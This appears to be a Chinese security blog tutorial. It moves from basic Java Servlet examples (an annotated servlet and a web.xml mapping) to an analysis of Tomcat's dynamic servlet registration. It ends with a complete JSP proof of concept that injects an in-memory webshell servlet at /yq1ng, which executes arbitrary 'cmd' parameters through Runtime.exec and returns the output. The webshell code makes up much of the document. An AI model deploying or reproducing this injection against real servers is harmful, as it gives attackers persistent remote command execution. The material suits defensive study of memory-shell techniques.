Servlet简单示例

Servlet 教程

注解法

常用的是继承自HttpServlet

  1. package com.yq1ng.Servlet;
  2. import javax.servlet.ServletException;
  3. import javax.servlet.annotation.WebServlet;
  4. import javax.servlet.http.HttpServlet;
  5. import javax.servlet.http.HttpServletRequest;
  6. import javax.servlet.http.HttpServletResponse;
  7. import java.io.IOException;
  8. import java.io.PrintWriter;
  9. /**
  10. * @author ying
  11. * @Description
  12. * @create 2021-12-08 16:46
  13. */
  14. @WebServlet("/TestServlet")
  15. public class TestServlet extends HttpServlet {
  16. public void init() throws ServletException {
  17. System.out.println("TestServlet 正在初始化。。。");
  18. super.init();
  19. }
  20. public void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  21. // 设置响应内容类型
  22. response.setContentType("text/html");
  23. // 实际的逻辑是在这里
  24. PrintWriter out = response.getWriter();
  25. out.println("<h1> TestServlet </h1>");
  26. }
  27. public void destroy(){
  28. System.out.println("TestServlet 已被销毁。。。");
  29. super.destroy();
  30. }
  31. }

@WebServlet("/TestServlet")就是注解,省去了配置web.xml的麻烦,里面的字符串就是访问的路径
image.png

配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

<!--  配置servlet名字及对应class文件  -->
  <servlet>
    <servlet-name>TestServlet</servlet-name>
    <servlet-class>com.yq1ng.Servlet.TestServlet</servlet-class>
  </servlet>
<!--  配置servlet对应访问路径-->
  <servlet-mapping>
    <servlet-name>TestServlet</servlet-name>
    <url-pattern>/TestServlet</url-pattern>
  </servlet-mapping>
</web-app>

注意:web.xml中配置与注解不能同时存在!否则tomcat无法启动
image.png

Servlet动态注册流程

CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析

先看org/apache/catalina/core/ApplicationContext.java#addServlet()
image.png
整个过程围绕着contextwrapper,而context是StandardContext;wrapper则是tomcat中管理servlet的
image.png
image.png
照着写

poc

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%--
  Created by IntelliJ IDEA.
  User: yq1ng
  Date: 2021/12/8
  Time: 22:08
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd;
            try {
                cmd = servletRequest.getParameter("cmd");
                   if (cmd != null) {
                    InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    };
%>
<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    Wrapper wrapper = standardContext.createWrapper();
    String name = "yq1ng";
    wrapper.setName(name);
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(servlet.getClass().getName());

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/yq1ng", name);
    out.print("Inject Success !");
%>
</body>
</html>

image.png
image.png
由于Servlet名字唯一性,再次访问恶意jsp会报错
image.png